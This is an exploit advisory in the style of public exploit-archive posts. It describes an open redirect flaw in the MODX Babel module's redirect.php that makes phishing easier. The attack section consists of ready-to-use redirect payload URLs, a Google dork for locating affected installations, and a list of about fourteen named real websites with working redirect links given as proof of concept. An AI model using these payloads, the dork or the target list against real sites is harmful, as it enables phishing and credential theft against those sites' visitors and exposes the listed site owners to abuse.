###############################################################################################

# Exploit Title : ModX Open Source CMS Babel Modules 3.0.0 Open Redirect
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/01/2019
# Vendor Homepage : modx.com/extras/package/babel
# Software Download Link :
modx.com/extras/download/?id=584e5c06bc8dd305728b4568
# Software Information Link : docs.modx.com/extras/revo/babel
# Tested On : Windows and Linux
# Category : WebApps
# Affected Versions : 2.1.0 - 2.25 - 2.6.x and 3.0.0
# Exploit Risk : Medium
# Google Dorks : inurl:''/modules/babel/""
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open
Redirect') ]

###############################################################################################

# Description About the Product :
*******************************

Babel is an Extra for MODx Revolution that helps you managing your
multilingual websites using different contexts.

Babel even supports managing several different multilingual websites within
one MODx instance by using so called context groups.

Babel maintains links between translated resources. In the manager you can
use the Babel Box to easily switch

between the different language versions of your resources. Translations can
be created automatically by Babel or defined manually.

Additionally Babel can be used to synchronize certain template variables
(TVs) of translated resources

which should be the same in every context (language).

###############################################################################################

# Impact :
*********

* This web application called as ModX Open Source CMS Babel Modules 3.0.0
and other versions

accepts a user-controlled input that specifies a link to an external site,
and uses that link in a Redirect.

This simplifies phishing attacks.

* An http parameter may contain a URL value and could cause the web
application to redirect

the request to the specified URL. By modifying the URL value to a malicious
site, an attacker may

successfully launch a phishing scam and steal user credentials. Because the
server name in the

modified link is identical to the original site, phishing attempts have a
more trustworthy appearance.

###########################################################################

# Open Redirection Exploit :
***********************

/modules/babel/redirect.php?newlang=[CHANGE-LANGUAGE]&newurl=https://
[OPEN-REDIRECT-ADDRESS-HERE.gov]

/modules/babel/redirect.php?newlang=en_EN&newurl=https://
[OPEN-REDIRECT-ADDRESS-HERE.gov]

/modules/babel/redirect.php?newlang=en_US&newurl=https://
[OPEN-REDIRECT-ADDRESS-HERE.gov]

/modules/babel/redirect.php?newlang=en_GB&newurl=https://
[OPEN-REDIRECT-ADDRESS-HERE.gov]

/modules/babel/redirect.php?newlang=fr_fr&newurl=https://
[OPEN-REDIRECT-ADDRESS-HERE.gov]

/web/modules/babel/redirect.php?newlang=lv_LV&newurl=https://
[OPEN-REDIRECT-ADDRESS-HERE.gov]

###############################################################################################

# Example Vulnerable Sites :
*************************

[+]
lehameaudepalombaggia.com/modules/babel/redirect.php?newlang=en_EN&newurl=https://cxsecurity.com/
=>

[ Proof of Concept for Open Redirect Vulnerability ] => archive.is/phsBH

[+]
sbeilfuss-webdesign.nl/noorder/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+]
nurenergie.com/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+]
stormcasinos.com/modules/babel/redirect.php?newlang=en_GB&newurl=https://packetstormsecurity.com

[+]
aime-toulouse.fr/cmsms/modules/babel/redirect.php?newlang=fr_FR&newurl=https://packetstormsecurity.com

[+]
serveriem.lv/web/modules/babel/redirect.php?newlang=lv_LV&newurl=https://packetstormsecurity.com

[+]
web.dici.unipi.it/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+]
geo.ulg.ac.be/cms/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+]
alpe-adria.com/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+]
lebenstanz.info/modules/babel/redirect.php?newlang=fr_fr&newurl=https://packetstormsecurity.com

[+]
augustinians.net/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+]
eds-pt.com/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+]
pluzine.me/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com

[+]
theatredecale.com/tdcms/modules/babel/redirect.php?newlang=en_EN&newurl=https://packetstormsecurity.com

###############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###############################################################################################